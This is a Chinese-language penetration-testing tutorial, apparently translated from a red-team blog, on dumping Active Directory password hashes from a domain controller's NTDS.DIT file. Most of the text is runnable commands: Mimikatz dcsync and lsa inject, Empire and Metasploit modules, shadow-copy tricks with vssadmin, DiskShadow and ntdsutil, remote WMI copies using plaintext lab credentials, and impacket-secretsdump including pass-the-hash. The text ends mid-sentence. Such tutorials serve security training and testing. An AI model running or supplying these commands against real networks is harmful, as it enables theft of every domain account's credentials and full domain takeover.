导语:在渗透测试中,获取域管理员权限来提取域内所有用户的密码哈希以便日后离线破解和分析是很常见的事情。这些hash存储在域控数据库的NTDS.DIT文件中,这个文件中还有一些其他的信息,比如组成员信息和用户信息。
在渗透测试中,获取域管理员权限来提取域内所有用户的密码哈希以便日后离线破解和分析是很常见的事情。这些hash存储在域控数据库的NTDS.DIT文件中,这个文件中还有一些其他的信息,比如组成员信息和用户信息。
操作系统一般都有NTDS.DIT这个文件,而且该文件不能被复制到其他路径下进行提取信息。该文件的路径位置如下:
C:\Windows\NTDS\NTDS.dit
提取文件中内容的技术多种多样,但大多数方法都离不开以下几种:
1.域控复制服务。
2.原生Windows二进制
3.WMI(Windows管理规范)
Mimikatz
Mimkatz有一个功能是dcsync,这个功能可以利用目录复制服务技术(DRS)来获取NTDS.DIT文件中存储的密码hash值。这个技术不需要域控直接授权,可以在域管理员管理的任何一台系统上执行。因此这种技术是红队的标准技术并且执行时产生的动静比较小,命令如下:
lsadump::dcsync /domain:pentestlab.local /all /csv
如图所示:
通过使用参数/user指定域中的用户名,mimikatz便能dump该用户的所有账户信息包括密码hash值。
lsadump::dcsync /domain:pentestlab.local /user:test
如图:
除了直接在域控中执行Mimikatz,也可以通过lsass.exe来dump密码hash值。
privilege::debug lsadump::lsa /inject
如图:
我们将会获取到域中用户的密码hash值,如图:
Empire
PowerShell Empire有两个模块可以通过DCsync攻击来获取域的hash值。两个模块都需要以域管理员的角色来执行并且他们使用的是Microsoft的复制服务。这些模块依赖于Invoke-MimikatzPowerShell脚本才能执行DCsync相关的Mimikatz命令。以下模块会提取域中的hash值并输出,输出结果的格式跟Metasploit的hashdump命令输出的结果类似。
usemodule credentials/mimikatz/dcsync_hashdump
DCsync模块需要指定用户来提取所有账户信息。
我们将会获取到如图所示的信息:
Nishang
Nishang是PowerShell的一个框架,红队成员和渗透测试员可以使用这个框架对操作系统执行入侵操作。Copy-VSS脚本可以用来自动提取所需的文件:NTDS.DIT,SAM and SYSTEM。这些文件会被提取到当前工作目录或是指定的任何其他目录。
Import-Module .\Copy-VSS.ps1 Copy-VSS Copy-VSS -DestinationDir C:\ShadowCopy\
或者,可以通过加载PowerShell扩展,从当前已有的Meterpreter会话执行脚本。
load powershell powershell_import /root/Copy-VSS.ps1 powershell_execute Copy-VSS
或者,直接使用powershell_shell命令建立一个PowerShell会话来提取文件也是有可能的,只要脚本导入到了当前已有的Meterpreter会话中。
Copy-VSS Copy-VSS -DestinationDir C:\Ninja
PowerSploit包含利用VSS卷影拷贝服务的PowerShell脚本,可以创建一个新加卷并用来提取文件。
Import-Module .\VolumeShadowCopyTools.ps1 New-VolumeShadowCopy -Volume C:\ Get-VolumeShadowCopy
另外,也可以在当前已有的Meterpreter会话中通过加载PowerShell扩展来执行。
powershell_shell New-VolumeShadowCopy -Volume C:\ Get-VOlumeShadowCopy
这样,就可以使用copy命令来拷贝新加卷中的文件到目标路径中。
Invoke-DCSync
Invoke-DCSync是Nick Landers和leverages PowerView开发的PowerShell脚本,调用Invoke-ReflectivePEInjection和PowerKatz的DLL包装器来获取hash值,跟Mimikatz使用DCSync的方法一样。直接执行该函数会产生如下输出:
Invoke-DCSync
结果会存储在4个表格里:Domain,User,RID和Hash表。不过,如果执行Invoke-DCSync时带上参数-PWDumpForamt,获取到的hash值得格式是:user:id:lm:ntlm:::
Invoke-DCSync -PWDumpFormat
在当前已有Meterpreter会话中执行该脚本,获取的输出结果是一样的。
加上PWDumpFormat参数的输出结果如下:
ntdsutil
ntds是一个命令行工具,域控生态系统的一部分,它的作用是让管理员能够访问和管理Windows活动目录数据库。然而,它可以被渗透测试员和红队成员滥用来给现有的ntds.dit文件拍摄快照,这样就可以拷贝到新的路径中以便日后离线分析和密码hash值提取。
ntdsutil activate instance ntds ifm create full C:\ntdsutil quit quit
生成两个新文件夹:Active Directory和Registry。NTDS.DIR文件存放在Active Directory中,SAM文件和SYSTEM文件存放在Registry中。
DiskShadow
Diskshadow是微软签名的二进制程序,用来协助管理员进行卷影拷贝服务(VSS)相关操作的。这个二进制程序有交互式和脚本两个模式,因此可以使用一个脚本文件,它将包含自动执行NTDS.DIT提取过程所需的所有命令。脚本文件使用以下几行命令来新建卷影拷贝,安装一个新的驱动器,执行copy命令然后删除卷影拷贝。
set context persistent nowriters add volume c: alias someAlias create expose %someAlias% z: exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit delete shadows volume %someAlias% reset
需要注意的是DiskShadow程序需要在C:\Windows\System32路径下执行。在其他路径下无法正确执行。
diskshadow.exe /s c:\diskshadow.txt
在解释器中直接执行如下命令会列出系统中所有的卷影拷贝。
diskshadow LIST SHADOWS ALL[object Object]
系统注册表项也要复制,因为它包含了解密NTDS.DIT文件内容的key值。
reg.exe save hklm\system c:\exfil\system.bak
WMI
Sean Metcalf在他的博客中写到,可以通过WMI来远程提取NTDS.DIT和系统文件。这个技术使用vssadmin程序来创建新的卷影拷贝。
wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c vssadmin create shadow /for=C: 2>&1"
然后它远程执行拷贝命令来提取卷影拷贝中的NTDS.DIT文件到目标系统上的其他目录中。
wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit 2>&1"
这条命令同样适用于系统文件。
wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM\ C:\temp\SYSTEM.hive 2>&1"
提取到的文件可以从域控中转移到其他的Windows系统,然后dump出域密码hash值。
PS C:\Users\test.PENTESTLAB> copy \\10.0.0.1\c$\temp\ntds.dit C:\temp PS C:\Users\test.PENTESTLAB> copy \\10.0.0.1\c$\temp\SYSTEM.hive C:\temp
如果生成了一张金票就可以代替凭证了,金票可以用来获取域控的kerberos认证授权。
vssadmin
卷影拷贝是Windows命令行工具,让管理员能够备份计算机,卷和文件,即使是正在使用中也可以备份。卷影拷贝作为一项服务运行在操作系统中,要求文件系统是NTFS格式,现在的操作系统默认都是这个格式。在一个Windows命令行窗口执行如下命令会创建C盘的快照,这些文件其他用户通常是无法访问并且复制到其他位置的(本地文件夹,网络文件夹或是可移动介质)。
vssadmin create shadow /for=C:
由于C:驱动器中的所有文件都已复制到其他位置(HarddiskVolumeShadowCopy1),所以它们并没有被系统直接使用,因此我们就可以访问这些文件并且进行复制了。Copy命令将会复制NTDS.DIT和系统文件到本地磁盘新创建的ShadowCopy文件夹中。
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy
我们要把下面这些文件从域控中拷贝到其他主机上以便进一步处理分析。
vssown
Vssown是Tim Tomes开发的,跟vssadmin工具类似,它是一个vb脚本,可以创建和删除卷影拷贝,从卸载的卷影拷贝中执行任意可执行文件,也可以启动和停止卷影拷贝服务。
cscript vssown.vbs /start cscript vssown.vbs /create c cscript vssown.vbs /list cscript vssown.vbs /delete
可以使用copy命令拷贝所需的文件。
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\ntds\ntds.dit C:\vssown copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\system32\config\SYSTEM C:\vssown copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\system32\config\SAM C:\vssown
Metasploit
Metasploit框架有一个模块,它通过服务器消息块(SMB)服务直接与域控制器进行身份验证,创建系统驱动器的卷影拷贝,并将NTDS.DIT文件和系统处存档的副本下载到meatsploit的目录中。这些文件可以用其他工具来分析,比如impacket,这些工具可以提取活动目录的密码hash值。
auxiliary/admin/smb/psexec_ntdsgrab
还有一个后渗透利用模块可以链接到Meterpreter会话中,通过ntdsutil方法来获取域hash。
windows/gather/credentials/domain_hashdump
或者,如果已经与域控建立了Meterpreter会话,那么可以直接使用hashdump命令。不过这条命令不安全,有可能把域控搞崩了。
hashdump
fgdump
fgdump是一个很老的可执行文件,可以提取LanMan和NTLM密码hash值。如果获得了本地管理员的凭证,你可以本地或者远程执行该文件。执行期间,fgdump会尝试关掉操作系统中运行着的防病毒软件,如果成功,则会将所有数据写入两文件中。如果存在防病毒软件或者终端解决方案,那就不要再使用fgdump这种方法来dump密码hash值以绕过检测了,因为大多数防病毒公司(包括Microsoft的Windows Defender)都已经对其进行标记。
fgdump.exe
可以通过检查.pwdump文件的内容来获取密码hash值。
type 127.0.0.1.pwdump
NTDS Extraction
Impacket是一个python脚本合集,可用于执行各种任务,包括提取NTDS文件的内容。该impacket-secretsdump模块需要系统和NTDS数据库文件。
impacket-secretsdump -system /root/SYSTEM -ntds /root/ntds.dit LOCAL
此外,通过使用计算机帐户及其哈希进行身份验证,impacket可以从NTDS.DIT文件中远程dump出域密码hash值。
impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\[email protected]
NTDSDumpEx二进制程序作为impacket的替代解决方案,也可以提取Windows主机的域密码hash值。
NTDSDumpEx.exe -d ntds.dit -s SYSTEM.hive
还有一个shell脚本adXtract,可以将用户名和密码哈希导出为一种格式,常规的破解软件便可以破解,比如John the Ripper和Hashcat
./adXtract.sh /root/ntds.dit /root/SYSTEM pentestlab
该脚本将所有信息写入项目名称下的各种文件中,当数据库文件NTDS的解密完成后,将用户名和密码哈希值列表导出到控制台中。该脚本将提供有关域用户的大量信息,如下所示:
密码hash值的格式如下: